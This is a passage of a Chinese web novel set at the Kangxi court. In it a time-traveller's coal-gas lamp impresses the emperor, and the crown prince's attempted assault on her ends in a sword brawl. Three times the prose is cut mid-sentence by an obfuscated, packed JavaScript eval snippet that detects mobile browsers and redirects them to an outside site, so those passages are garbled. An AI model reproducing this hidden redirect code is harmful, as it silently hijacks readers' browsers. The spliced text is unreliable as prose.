“此灯果然甚亮!” 不仅是康熙,除了四阿哥和八阿哥还有张廷玉这三位之前就见过的人。 其他第一次见到煤气灯的人都这么觉得,真是亮到了有些刺眼。 康熙带着太子与阿哥们抬脚走进庄子里,进去之后发现里面较之门口,有过之而无不及。 一眼望去,目之所视甚远。 与来时路上黑黢黢的景象完全不同,几近于置身于白昼。 康熙想找沈姝问话,扭头发现她站在几位阿哥身后的位置,便出声唤道:“沈氏,你上前来朕身边。” 沈姝这才从后面走上前去,之前她是给这些没见过世面的阿哥们让路,让他们好好的看稀奇。 见沈姝走进,康熙问道:“此灯果真是不用灯油,而且极其低廉?” “是。” 沈姝不得不再继续解释一遍,“皇上,此灯所用乃为石碳所产生的一种可燃气体,并非是灯油。 这种可燃气体本身是炼焦的产出之一,无论是染料还是肥料所需的原料均来自于炼焦,所以这种气体只能算作是一种没有太大价值的产出。 以民女的染料生意来说,染料就已经足以赚到丰厚的利润,灯具所消耗的气体相比之下就微不足道。 低廉与否,只是相对而言,只能说是相比灯油等,极其低廉。” 虽然是有一大堆的奇怪词语,但康熙听明白了这种灯具因何耗费低廉。 “原来如此……” 他抬头看着煤气灯,顿了顿直接说道:“此物甚好,只是名字不好,不如就叫如意灯如何?” “……好。” 没想到一上来就把煤气灯给改了名字,沈姝有些无语,这个重要吗? 好吧,这对她来说并不重要。 但其实沈姝这个回答显得很是无礼,她应因此而跪地高呼几句吉祥话以表恭敬感激。 所以太子胤礽趁机找茬,“沈氏,你似乎是对皇上所赐的名字很不满意?” 沈姝觉得太子这是在没事找事,直接回了一句,“民女明明是说皇上名字赐的好啊,反倒是太子您是不是对民女还有这灯都很不满意?” 还没等胤礽再开口,康熙便道:“好了,不要吵吵。” 他可是知道沈姝,连自己都敢顶撞,何况是太子! 这脾气,实在是……一言难尽。 看在灯的份上,他的心情很好,所以不计较这些。 然而就这一句话,听在其他人耳朵里,都不禁对沈姝刮目相看。 因为在他们看来,这明显就是皇上的对她的偏爱。 制止住吵架,康熙又转向沈姝问道:“这如意灯当真是只有长处,而无短处?” 煤气灯当然有缺点,沈姝如实说道:“有,相比普通灯具,使用比较麻烦些。里面的气体用完之后重新加装需要把灯拿过来,而且使用的时候需要学会如何扭动开关。 除此之外,务必要注意,如在室内使用必须要开着窗,不能门窗紧闭,否则有性命之忧。 不瞒皇上说,民女正打算开一家灯具店,所以这些重要之处都给那些买灯之人仔细嘱咐。” “还有性命之忧?” 听沈姝这么说,康熙脸色沉了下来,这可是人命关天的大事! 沈姝则是接着解释道:“皇上,不知您可知道若是冬日里在室内烧炭,也可能会有性命之忧?” “你的意思是此物类似于取暖的炭火?” 这个康熙还真听说过,说是冬日炭火取暖要把窗开条缝透气,所以西暖阁取暖所用为地炕火道。 沈姝点点头,“道理是一样的,毕竟此灯所用之气出自石碳,即便取暖用石碳也是要注意开窗通风透气的。 但若是像现在这边,在室外使用,则不必担心这些。” 这样啊,康熙想了想问道:“若真是如此,那岂不是可以在皇城之内的大街上也设置一些如意灯?” “当然可以。 现在民女制作染料是在十四爷的庄子上,所以规模不大。 若是要增大染料的产量,就必须要建更大的炉子,再加上若是肥料厂得以建设投产,将产生大量的可燃气体。 届时,灯具的得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014529|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃料必是绰绰有余。” 其实染料、肥料、煤气灯等完全就是可以综合利用的产业链条,除此之外还有一个重要产业,那就是炼钢。 后世炼焦工业的主要目的,就是为炼钢生产焦煤。 沈姝不太确定这时代是不是已经正在使用焦煤炼钢,正打算问,就听康熙问道:“你所说的石碳要怎样才能变成这种、这种气体?” 对于气体这个新名词,康熙觉得有些拗口,但既然沈姝这么说,那便顺着她的说辞来问。 沈姝指着庄子里的高炉说道:“皇上您看前面那个炉子,就是使用那个把石碳加热,然后可以产出气体以及其他可以加以利用的原料。” “加热石碳?” 康熙想了想,不太确定的问道:“你所说,似乎是焦炭的制作方法吧?朕记得那些冶铁所需的焦炭就是这般制作的。” 哎呀! 没想到康熙皇上知道的这么多,居然还知道焦炭炼铁之事。 这可真是有点儿出乎沈姝的意料,这么说的话焦炭就是焦煤,只不过是叫法不同。 “皇上您真是学识渊博,确实是。” 听沈姝这么说,康熙很是疑惑,“既然如此,那为何冶铁制作的焦炭没有这种所谓的气体?” 怎么可能会没有? 沈姝肯定的说道:“当然有啊,应该是制作焦炭的时候没有收集起来罢了。” “竟是如此?” 康熙露出错愕而惋惜的表情,“那岂不是这些有用之物都白白的浪费掉了? 还有你所说的肥料,也需要这些?” 既然已经知道此时已有焦煤炼铁,沈姝直接说道:“其实炼焦,也就是制作焦炭的过程中会产出很多有用之物。 只是可能由于他人并不知道如何加以利用,故而都浪费掉了。” “……” 有种错失了好多金矿的感觉,康熙为之痛惜失语! 片刻之后他才问出一个关键问题,“那你又是如何得知这些的?” 这可真是一个好问题,好到无法回答,因为根本解释不了。 不能解释也要强行找借口,沈姝顺着之前的说辞继续编造,“民女幼时听洋人讲过一些有趣的事情,于是就想亲自研究一番,这才发现了一些东西。” 对于这个回答,康熙觉得很可信,因为他自己就学过洋人的东西,确实是挺新奇的。 只不过那些都与治国无关,而他没有精力整日里探究。 “甚好!” 康熙夸赞了一句,心里想了很多。 比如这如意灯,还有染料和肥料。 这些都是利国利民之要事,需得细细考量一番,看看如何管理才妥当。 还有沈姝,必须要尽快妥善安置,这些事情还要依赖于她才可行,她的重要性不言而喻! 看完灯之后,康熙没有立刻赏赐沈姝,而是当众忽然说道:“张廷玉,拟旨,都察院弹劾染料一事之御史,俱罚俸三个月。” “!!!” 这迟来的处罚,而且还是在看过灯之后。 在场之人谁都明白,这纯粹就是因为沈姝。 沈姝也这么认为,说明皇上为了安抚她,终于主动决定处罚御史了! 这当然是因为她的价值,值得被如此对待。 此时此刻,沈姝的价值,不仅是她自知。 其他人,比如太子以及其他阿哥,也已经亲眼所见。 而每个人心里的想法都不尽相同…… 44.第 44 章 次日早朝,首领太监李德全宣读了昨夜拟好的圣旨,惹得不知情的大臣们心里直犯嘀咕。 御史们则是面面相觑,他们还以为这事已经翻篇,没想到这么多人居然一并都被罚了! 这可是少有之事,要知道康熙这个皇上的行事风格是雷厉风行。 这是好听的说辞,换种说法就是脾气急。若是要处罚御史,当日便会亲口斥责,哪里会等到数日后的今天? 而这其中,想必是发生了什么不为人知的变故,所以才会改变主意。 早朝之后,康熙留太子胤礽、张廷玉以及八阿哥至南书房议事,所议之事便如意灯与染料。 胤礽是储君,重要的事情他当然要知晓。 另外还康熙还想让他知道沈姝的重要性,所以不要再找她的事。 八阿哥暂领内务府大臣,而张廷玉则是负责与沈姝接洽的大臣,所以这事他们二人也要参与。 “昨夜之事,你们亦是亲见,朕打算在内城的街道上安置些如意灯,灯具的花费就从内务府出。 胤禩,此事由你负责。” 已经亲眼所见那些如意灯是如此的明亮,康熙如何能不心动? 这么好的东西,又不费灯油,按沈姝所说甚至可以连钱都不用额外花费,当然是要立刻马上的用上啊! “嗻!” 八阿哥闻言领命,而后问了一个问题,“皇阿玛,昨夜沈氏曾说如意灯中所使用的是石碳所出之气体。 可此气体究竟如何采集尚不得而知,您看这个是不是得让她从中协助?” 康熙正想说这个,内城之大,所需灯具巨多。如此一来,自然需要石碳之气更多。 可眼下铸造局每日都在白白的浪费石碳之气,这简直不能忍! “张廷玉,你去问问沈氏如何才能收集石碳之气?若是可行,那就把铸造局的炉子都赶紧的改改! 还有那些闹事的商贾,你也出面安抚一番。” 顿了顿,康熙又继续道:“染料一事,日后归内务府管。胤禩,你与张廷玉合拟一个折子呈上来,朕还没有想好详细的章程。” 染料的事情比较复杂,并不是说沈姝把配方交上去就算完事。 以康熙对那些西洋玩意的了解,这东西若是外人去学,一时半会儿是怕是难以学会。 不仅如此,染料交由内务府后,对于天下有相关商贾都有重大影响。 这东西怎么管理、怎么定价、怎么供给,都是问题。 而这些问题,统统都需要详细的章程。 许给沈姝一个月的时间,也是想利用这一个月时间尽快的把这些全部都安置好。 “嗻。” “微臣遵命。” “跪安吧。” 安排完事情后,康熙便挥退了胤礽等人。 对于沈姝的赏赐,他还要再想想,还有十四阿哥这个儿子的心思也要顾及…… 八阿哥与张廷玉双双领命,两个人对这样的安排都多少有些想法。 染料的事情,八阿哥的设想并不是归内务府。内务府毕竟不是某个阿哥的私库,那是皇家私库。 但现在居然要归内务府,他心里有些不太舒服。 而张廷玉想的是,内务府的事情,按说是无需他这个汉臣参与的。 皇上如此安排,到底是何用意? 太子胤礽则是意识到了沈姝这个突然冒出来的女人的重要性,皇上对她明显是有所偏爱,可她却是十四阿哥的女人…… 从南书房出来后,张廷玉要先请示合拟折子的事情,所以便跟着八阿哥一同去了他府上共同商议。 而胤礽则是去了宫外的府邸,太子的东宫在毓庆宫,可宫中办事多有不便。 所以他在宫外亦有府邸,用于接待外臣。 散朝之后,大臣们议论纷纷,都在好奇究竟是为何皇上会忽然下旨处罚御史。 原本十五道御史齐弹劾一人已是少有之事,现十五道御史又统统被罚,这其中必是有大事发生。 太子的人都知道原本弹劾一事就是太子在背后推波助澜,可现在御史被罚,打的就是太子的脸面。 难道太子能无动于衷? 所以胤礽一回府邸,他的心腹们就聚集过来打探消息。 “殿下,今日之事我等实在是疑惑啊!” “是啊,皇上怎得会突然如此?” 噶礼这个都察院右副都御史也在场,弹劾一事就是他被太子授意而亲自操刀的,现在御史被罚。 虽然没有责罚于他,但他心里颇为忐忑。 作为知情人的胤礽见状不得不解释了一番,“昨夜皇阿玛召我与其他几位阿哥们伴驾一同前去十四阿哥京郊的庄子上,他那庄子上设置有一种奇怪的灯具。 皇阿玛看过龙颜大悦,亲口御赐名为如意灯。因那沈氏一通花言巧语惹得皇阿玛龙颜大悦,故而皇阿玛当即就下旨要处罚之前弹劾她的御史。 不仅如此,今日早朝后,皇阿玛留我与八阿哥还有张廷玉参议如意灯之事,说是要在京城之内设置此灯! 如意灯加上染料一事,还有那子虚乌有的肥料全系于那沈氏一人。 皇阿玛因何要下旨处罚御史,难道你们还看不明白吗?” 明白了,原来如此! 有人当即反应过来,提醒道:“殿下,那沈氏与十四阿哥关系不一般,而十四阿哥又与八阿哥关系密切。 若是她得皇上青睐,那于殿下您可是大大的不妙啊!” 这是废话,在场之人谁还能不明白这个道理? 再往前算几个月,凌普还能跟大家一起都站在这儿,可现在呢? 坟头的草都长出来了! 有人不禁开始提议,“那咱们上疏参她一本?” 有人听罢开始反对,“那沈氏能言善辩,你又不是没有见识过。若是没有真凭实据,参奏怕是与弹劾一样的结果!” 见状,噶礼上前一步进言道:“殿下,您可还记得沈氏在朝堂之上的辩称?” 胤礽不明所以,没好气的说道:“噶大人,你有话就直说吧!” 被催促之后,噶礼直接出了一个主意,“下官记得那沈氏自称其并非十四阿哥的外室,也就是说至少名义上她不是十四阿哥的女人。 若她是,那就是犯了欺君之罪。 若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024057|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是,殿下您为何不能将其收入府中?如此一来,这难题岂不是迎刃而解?” “妙啊!” 胤礽一听,略一思索便大笑起来,并且还夸赞道:“噶大人,你可真是在世诸葛啊!” 如此一来,直接把人抢了。毕竟沈氏都说了,不是十四阿哥的女人。 他若说是,那就意味着沈氏当众欺君。 若说不是,又怎么阻拦自己? 所以十四阿哥必将是左右为难,有苦说不出! 而一旦把人抢到手,那沈氏即便是有功,胤礽觉得那就是自己的功劳! 再说那沈氏生的貌美,得了她也是一幸事,这么一想胤礽心里顿时痒痒起来。 而噶礼的方法,也得到在场之人的附和。 这确实是一个好办法,除此之外他们还真想不到更好办法。 在一片附和声中,这件事算是有了解决之法,他们心里都轻松了许多。 得此妙计,胤礽迫不及待,因为知道这事耽搁不得。 如意灯马上就要设置了,还有染料以及后续的肥料。 别的不说,这些东西可都是能赚钱的东西,而且还可以凭此来再次插手内务府。 至于因此去请求皇上赐婚,胤礽没有想过。那样做实在是太慢了,而且十四阿哥他们一定会千方百计的阻拦。 一旦十四阿哥他们起了戒心,这事就难弄了。故而,一定要先把人弄过来,再谈其他! 打定主意之后,胤礽当日即派人去请沈姝过府,用的理由是请教如意灯之事。 这个理由听起来是很合理,合理到不好强行拒绝。可沈姝看着太子府的来人,却是心生警惕。 犹记得之前在朝堂上太子的态度,再加上昨夜太子依然还在故意找茬,她怎么都不可能相信太子对自己毫无歹心! 可太子毕竟是太子,再加上有合适的理由,沈姝知道自己就是拒绝,说不定也一样会被强行带走。 因为这里并不是十四阿哥府上,眼下也没有人为她撑腰来强行拒绝。 所以沈姝便对太子的人说道:“请稍待片刻,民女需准备一番。” 见她配合,太子府的侍卫和太监便没有过于刁难,只是催促道:“可莫要殿下久等了!” 拖延之后,沈姝便回到后院,对六子交代道:“小六哥,麻烦将此事告诉十四阿哥。” 这一趟,只能先去了再说。 眼下太子尚未露出歹意,她强行不去,到时候有理也变没理。 但去的话,需要告诉十四阿哥。 沈姝认为自己现在跟十四阿哥是绑在一起的,算是合作伙伴。 太子针对她同时也是在针对十四阿哥,所以这事必须得要让十四阿哥知道。 自己一个人默不作声的去太子府的行为实在是太蠢了,这事她可不干! “您放心,小的这就去!” 六子知道十四阿哥与太子关系不好,现在太子派人过来请沈姝,他也怕会出什么问题。就算是沈姝不说,他也是要立刻马上回去禀报的。 交代过后,沈姝这才顺从的坐上太子府的轿子,而六子则是赶去给十四阿哥报信。 45.第 45 章 对于能否把沈姝请过来,胤礽并不担心。 他是太子,有事请她,她不来就是有罪。 所以看到沈姝被带来,胤礽一点儿都不意外。 “民女叩见太子殿下。” “免礼。” 见沈姝顺从的行礼,胤礽朝会客厅里的婢女摆摆手,示意她们统统都出去。 婢女们出去的时候,还直接关上了客厅的们。 沈姝见状,心里一凛,暗自警惕。 “坐。” 榻上的胤礽指了指离的最近的一把椅子,示意沈姝坐下。 沈姝依言坐下,没有主动说话。 胤礽则是看向她,简单粗暴的直接开始诱惑,“沈氏,你跟着十四弟,他能给的至多是一个侧福晋的之位。 若是跟着我,日后必为贵妃,你意下如何?” 没有想到太子居然如此赤裸裸,这可真是毫不掩饰! 沈姝不知道是他本性就是如此猖狂,还是觉得随口一忽悠便是一种恩赐。 别说是她知道胤礽在历史上是被废了,根本就没能登基。 即便是他真能登基,随口许一个贵妃,她就应该感恩戴德的委身于他? 真是想的太好,区区一个贵妃,她不在乎。别说是贵妃,皇后她都不稀罕! 对此,沈姝毫不犹豫的直接表示了拒绝。 “承蒙殿下厚爱,然民女蒲柳之姿,怎敢高攀?” 居然被拒绝了! 还是被一贱如草芥的民女! 他以为能许一个贵妃来拉拢一个汉女,已经算是一种恩宠。 对于自幼被骄纵的胤礽来说,沈姝的拒绝无异于是狠狠打在他脸上的一巴掌。 “沈氏,你这是敬酒不吃吃罚酒!” 胤礽恼羞成怒的从榻上起身,走向沈姝。 今天,她是从也得从,不从也得从! 见胤礽面带怒意的走了过来,沈姝直接站起身来。 因为离的比较近,还没等她后退,便被胤礽抓住了手腕。 “沈氏,我再问你一次,从还是不从?” “殿下请自重。” 沈姝说着想要甩开胤礽的手,却被抓住了另外一只手,而他的手就像钳子一样。 胤礽再怎么说也是被康熙静心培养的儿子,同康熙一样擅长弓马骑射,力道自然是非比寻常。 况且男女有别,比力气,女人一般都是吃亏的。 其实之前四阿哥打她那次,若不是四阿哥收着力气,只是吓唬的意味居多,她哪里能够有机会反手去挡? 就像现在,被胤礽狠狠的抓住,根本就挣脱不开! 眼看胤礽欲对自己行不轨之事,沈姝虽然不会因失贞而寻死觅活,可也不愿意被这种腌臜货给强上了。 女子防身术她多少知道些,于是拉进距离然后右膝猛的往上猛的一顶,出其不意的径直击中目标。 “啊!” 胤礽痛的叫了一声,不禁松开了手,他怎么都没想到沈姝竟然胆敢对自己动手! 获得自由后,沈姝顾不上多看一眼自己黑青的手腕,冲向门的方向,打开门跑到了院子里。 她没指望着仅凭自己就能逃出去,只不过是想拖延时间,希望能等到十四阿哥来救! 此时十四阿哥确实已经到了太子府邸的门口处,得到六子的报信后,他立刻从榻上爬了起来,带伤翻身上马赶了过来。 太子在宫外的府邸离他的府邸并不远,路上没有费什么时间。 只是这太子府的大门,并没有那么好进! 门卫连番推辞,说是太子不见客,不让进门。 然而越是这样,十四阿哥越怀疑沈姝有危险。他并不是胆怯之人,门卫不让进,他敢硬闯,反正就是大不了再挨一顿打! “滚开!” 对着门卫,十四阿哥一马鞭便抽了过去。 他敢抽门卫,可门卫没有太子的命令不敢还手。 毕竟这是皇子,没有命令,谁敢以下犯上的去打皇子? 而此时,缓过劲儿的胤礽咬牙切齿的大喊道:“来人,给我抓住那贱人!” 一声令下,跑到院子里的沈姝很快便被侍卫抓住,反剪着双手押到了胤礽跟前。 “贱人!” 胤礽抬手刚想去打沈姝,刚才那一下子实在是痛得很! “阿姝!” 这一幕恰好被闯进来的十四阿哥看见。 “混蛋,放开阿姝!” 他大叫着冲了过去。 胤礽见状看向十四阿哥高声道:“拦住他!” 侍卫们得令便围向十四阿哥,但也不敢动粗,只是伸手阻拦而已。 “统统给我滚开!” 十四阿哥挥舞着马鞭,四处乱抽,连打带踢。 随从前来的六子见状也参与进来,场面顿时混乱起来。 胤礽气的要死,这一个个的是一点儿都不把他这个太子放到眼里啊! “把胤祯给我拿下!” 他发疯似的大喊。 一听这话,侍卫们反而有些拿不定主意。 拿下是什么意思? 这要是弄出个三长两短,皇上震怒之下,可是要杀头的啊! 而十四阿哥听到这话后,随即伸手抽出身旁侍卫的佩刀,横刀而立。 “我看谁敢?” 他这样不仅吓坏了六子,也镇的太子府的侍卫不由自主的后退了一步。 刚才被马鞭抽打也就罢了,顶多是受伤,现在可是要挨刀子! 况且十四阿哥敢对他们动刀,可他们不敢对他动刀啊! 否则,皇上雷霆震怒之下,别说是他们项上人头不保,就是家里都要受到牵连。 这可真是神仙打架,凡人遭殃…… 见自己的侍卫居然不听使唤,胤礽越发气愤,怒吼道:“好好好,你们不听令于我,不把我这个太子看在眼里是吧? 我诛你们全家!” 听太子这么说,侍卫们不得不硬着头皮再次上前,“十四爷,得罪了!” 可即便如此,他们也不敢抽刀相向,只能以肉身相挡。 十四阿哥虽亦是自幼习武之人,还算得上勇猛,可他之前毕竟被杖责四十,现在伤势根本还没有好。 如此被围攻,即便是拿着刀,也不占什么优势。 很快,六子先被拿下,在砍了十几人后十四阿哥也被摁住了。 见十四阿哥被制服,胤礽高声令下,“将胤祯这不敬兄长、以下犯上的东西拖出去狠狠的打!” 刚才十四阿哥在他府里挥刀乱砍,简直是欺人太甚! 胤礽觉得,若是在宫里十四阿哥敢对着御前侍卫如此这般? 之所以这样,不就是没有把他这储君放在眼里? “胤礽,你以为你那龌龊心思,谁人不知?我今天就是死,你也别想动阿姝一根手指头!” 十四阿哥自然不可能乖乖受刑,而是开始挣扎着破口大骂。 在他心中,太子既没有为兄之义,更没有为君之德! 沈姝见状,很是心急。 胤礽不是个好东西,她怕十四阿哥吃亏。 她是真没想到事情居然会变成这样,关键十四阿哥可真是……真是敢动手啊! 而胤礽的飞扬跋扈也出乎她的意料,这可怎么办是好? “二哥,十四弟,你们、你们这是在做什么啊?” 此时,来太子府打探消息的四阿哥一进来看见院中情形,不禁脸色大变。 因着昨夜之事,再加上今日早朝,皇上留了太子、八阿哥他们去南书房,他料想此事必定与沈姝有关,所以便来打探消息。 刚走到大门口,守门的侍卫见状连忙请求他进去劝劝,说是十四阿哥擅闯了进去,里面正打着呢! 结果没想到,院子里不仅是十四阿哥被摁住了,就连沈姝也一样。 说实话,看到这一幕,四阿哥都被惊到了,怪不得守卫见到他跟看见救星似的! 他们兄弟之间,即便是明争暗斗,又何曾弄出过这样的场面? “四弟,你来的正好!” 看到四阿哥,胤礽冷笑一声,当即问道:“十四弟硬闯我的府邸,还砍伤这么多侍卫,你觉得该不该罚?” 这话问的,怎么回答都是得罪人! 四阿哥觉得太子这是在趁机试探自己对他的忠心,因为自己与十四阿哥是一母同胞的亲兄弟。 然而四阿哥对太子本就没有什么忠心可言,之所以追随,仅仅只是因为他是太子。 而他自己一向是势弱,且孤苦无依。 可对于太子的所作所为,若说是之前,四阿哥还能忍。 但太子想打沈姝的注意,甚至是想弄死她,他不能坐视不理! 不仅如此,太子也不能强逼他与十四阿哥之间兄弟相残! 所以对于这个问题,四阿哥的回答是:“二哥,十四弟所为确实不妥,该罚。可您要体恤他数日前刚被皇阿玛杖责四十,眼下这伤怕是尚未痊愈。 即便是责罚……” “照你这么说,因为他被皇阿玛罚了,所以我这个太子就不能再罚了?” 四阿哥的话还没说完,就被打断了。 胤礽气得要死,在他看来四阿哥这个平日里装的亲近的弟弟与自己也不一心。 果然,这些兄弟们对他这个太子都是一丁点儿的忠心都没有! 不是有意依附,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033145|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意作对! 懒得再理会四阿哥,胤礽执意要继续责罚十四阿哥,他大吼一声,“你们聋了不成?还不将胤祯拖出去打!” “二哥,愚弟以为此事还是交由皇阿玛处置更为妥当!” 四阿哥见状连忙继续阻拦,知道今天要是阻止不了十四阿哥挨罚,那沈姝他就更救不了! 然而这话听在胤礽耳中,无异于火上浇油,觉得这是在用皇上来压他,反倒是愈加的生气。 此时十四阿哥亦在骂骂咧咧,“胤礽,你这以多欺少的卑鄙之人,有本事咱们单打独斗!” “十四弟!” 四阿哥见状扭头对着十四阿哥就是一顿呵斥,“你给我闭嘴,休要对太子无礼!” 他对十四阿哥的作为感到很生气,这不是在故意激怒太子吗? 也不看看眼下是什么情形,还在嘴上不饶人,蠢货! 十四阿哥如此谩骂,胤礽气到恨不得自己动手打他,可终究是没有丧失理智,不愿失了身份的亲自动手。 他上前几步,指着十四阿哥怒声道:“现在就给我狠狠的打!” 已经有侍卫取来了刑具,四阿哥见状不得不向贴身小厮苏培盛使眼色,暗示他速去禀告皇上。 苏培盛跟随四阿哥多年,在之前四阿哥搬出来皇上时就知道他的意思。 接到指示后,便一声不吭的默默往门口的方向退去。 眼见太子府的侍卫就要开始行刑,六子一咬牙狠狠的撞向扣着十四阿哥的侍卫。 而此时,看到十四阿哥即将被打,而四阿哥又帮不上忙。 沈姝则是趁着束缚着自己的侍卫松懈之时,挣脱束缚并抽出了其中一个侍卫的佩刀,而后冲向十四阿哥所在的方向。 十四阿哥来了,没有辜负她的信任。 她不能眼睁睁的看他再因自己而添新伤, 于是挥刀冲了过去,大喊着:“放开十四爷,你们不能打他!” 沈姝在赌,赌以自己目前在康熙眼中的价值,太子不敢杀自己。 还因为她不能、也不愿看到十四阿哥因为自己而再次被打! 这一幕发生的太过突然,胤礽快被气炸了,叫骂着:“贱人!” 沈姝不是皇子,面对她的夺刀行为,侍卫们没有得到明确的指示,并不会手下留情。 而被沈姝逃脱的两个侍卫反应过来后,立刻也追了过去。 四阿哥反应极快,在沈姝夺刀冲过来的时候,他的头都大了! “当心!” 他眼疾手快上前几步一把拉住她的胳膊,将人带进怀中,同时伸手替她挡下了一刀。 追过来的侍卫来不及收手,一刀砍在了四阿哥胳膊上,自己却吓得直接把刀给扔了! 完了,他伤了皇子…… 而其他侍卫见状,都有些发愣,不敢再抓被四阿哥护住的沈姝。 不仅如此,原本正打算听令处罚十四阿哥的侍卫也停了手。 行刑是有太子的命令,而且说起来也算是理由正当。 但砍伤皇子,即便是误伤,那性质可就不一样了! 因为那叫谋反…… 万一这女人砍他们,四阿哥继续护着,那他们应该怎么办? 发现四阿哥被砍伤,沈姝的脑袋有一瞬间的空白。 是后怕! 四阿哥的衣服被砍破,小臂淌着血,猩红的血色刺眼,她已经愣住了。 后怕中夹杂着疑惑,他为什么要救自己? “阿姝!” 趁着侍卫停手的时候,十四阿哥推开他们,跑了过来。 没有理会胳膊上的伤,强忍着疼痛四阿哥将沈姝和十四阿哥护在身后,转身朝胤礽说道:“二哥,沈姑娘是皇阿玛看中的人,十四弟是我们的亲兄弟,您难道非要如此不可?” 从沈姝夺刀到四阿哥被砍,这一切都发生的太快了。 胤礽也没有想到侍卫居然连个女人都看不住,而且还砍伤了四阿哥…… 可让他就此住手,实在是难泄心头之恨! “老四,你让开!” 见四阿哥不肯退让,他怒不可遏,“今日之事,我责罚过十四弟,这事才算完!” 都这样了,四阿哥知道只要等到皇上派人来才能平息,他直接说道:“二哥,此事应由皇阿玛处置,我不能不阻拦!” “你!” 胤礽气得恨不得连四阿哥一并揍了,但现在十四阿哥和沈姝那贱人就在四阿哥旁边。 四阿哥是打不还手,可十四阿哥和那贱人…… 于是场面陷入僵持,侍卫们不敢再妄动,胤礽气不过,也不肯放人。 直到首领太监李德全带着领侍卫内大臣鄂伦岱赶了过来…… 46.第 46 章 看到院中的情形,李德全倒吸几口凉气,差点儿站不稳! 四阿哥是手无寸铁,可已经血染衣袖,还正在淌血。 而十四阿哥和沈姝都提着刀跟他站在一起,三个人皆被太子的侍卫团团围住,侍卫们不少也已经血溅当场。 在京城,何曾见过这等场面? 不知情的还以为是叛军已经攻破太子府,双方正在血战! 李德全都不敢想象皇上要是看到眼前这一幕,会不会直接气到晕过去! “统统放下兵器!” 鄂伦岱一声令下,太子府的侍卫立刻马上丢下手中的刀,他所带的御前侍卫顿时将场面控制住了。 至于沈姝和十四阿哥见状,也随手把刀丢在地上。 李德全见状走上前宣读口谕,“皇上有旨,宣太子殿下、四贝勒、十四阿哥、沈氏进宫。” 此刻看到李德全等人,沈姝的心终于放松下来。方才要不是被四阿哥拉了一把,又挡了一刀,她必然已经受伤。 后怕来得太晚,她太高估自己了…… 四阿哥的心情却有些复杂,有庆幸,有嫉妒,有担忧。 庆幸自己眼疾手快的救了沈姝,嫉妒十四阿哥得到了她奋不顾身的相护,担忧皇上会因今日之事而怪罪于她…… 而十四阿哥也是,心里松了一口气。 说实话,他无论如何都没有想到沈姝的性子居然这么烈,胆敢夺刀相救! 方才那侍卫拿刀在后面追杀,而他却眼睁睁的无能为力,吓得连心跳都快要停止了! 而之所以一再的激怒胤礽,就是想让胤礽不断的针对他,而无暇顾及沈姝。 可谁曾想,沈姝会这样? 对此,十四阿哥心里,说不感动是假的! 要不是四阿哥出手,他真是不敢想象…… 现在他越发觉得,四阿哥对沈姝绝对是有觊觎之心,否则绝不可能会如此! 可四阿哥终究是救了沈姝,十四阿哥再不甘心也无法因此而多说什么,只能把满腔怒火都对准胤礽这个罪魁祸首。 胤礽此时的心情忽然开始忐忑,他先是被沈姝激怒,后又被十四阿哥气到怒火中烧。 直到看见李德全和御前侍卫,才逐渐开始冷静下来,皇上怎么会突然派人来? 见胤礽愣着不动,鄂伦岱的语气说不上恭敬,也算不上客气,直接开始催促,“太子殿下,请吧!” 他原本就看不上太子的为人,而是更欣赏八阿哥。 现在一看,跟着太子果然没有好下场! 看看四阿哥,平日里为太子做事,结果呢? 竟然被太子给砍了! 在鄂伦岱看来,四阿哥在太子府上受伤,必定是太子授意,否则怎么可能会受伤? 于是连带太子在内,四阿哥、十四阿哥、沈姝四人皆被御前侍卫带着进宫了。 路上的气氛很是凝重,谁都知道皇上一定会大发雷霆。 四阿哥有心想提醒沈姝几句,叮嘱她在今日万不可再跟皇上犟嘴,否则…… 但他找不到机会,周围都是御前侍卫,李德全也在。 路上,沈姝稳下心神,不想再纠结四阿哥为何要舍身相救。 而是在思索自己即将面临的险境,应该如何应对? 至于十四阿哥,觉得自己大不了再挨顿打好了。 今日之事,他必定是要救沈姝的,否则,还算什么男子? 养心殿里,康熙踱步等待,脸色阴沉。 听到苏培盛的求救,他的第一反应是不敢置信,这怎么可能? 他的太子与他的儿子怎么可能会做出这种事来? 然而当看见四阿哥居然受伤时,康熙心下一沉,直接吩咐道:“李德全你带老四去医治,其他闲杂人等统统给朕出去!” 因为他知道信儿是四阿哥报的,所以此事就是眼前这三人惹出来的! 此时,十四阿哥与沈姝已经自觉的跪下。 胤礽这个太子则是站着,他甚至想先开口解释,“皇阿玛……” “闭嘴!” 康熙强忍怒意,呵斥过胤礽后审视着沈姝,“沈氏,你先说,到底是发生了什么事情?” “请皇阿玛……” 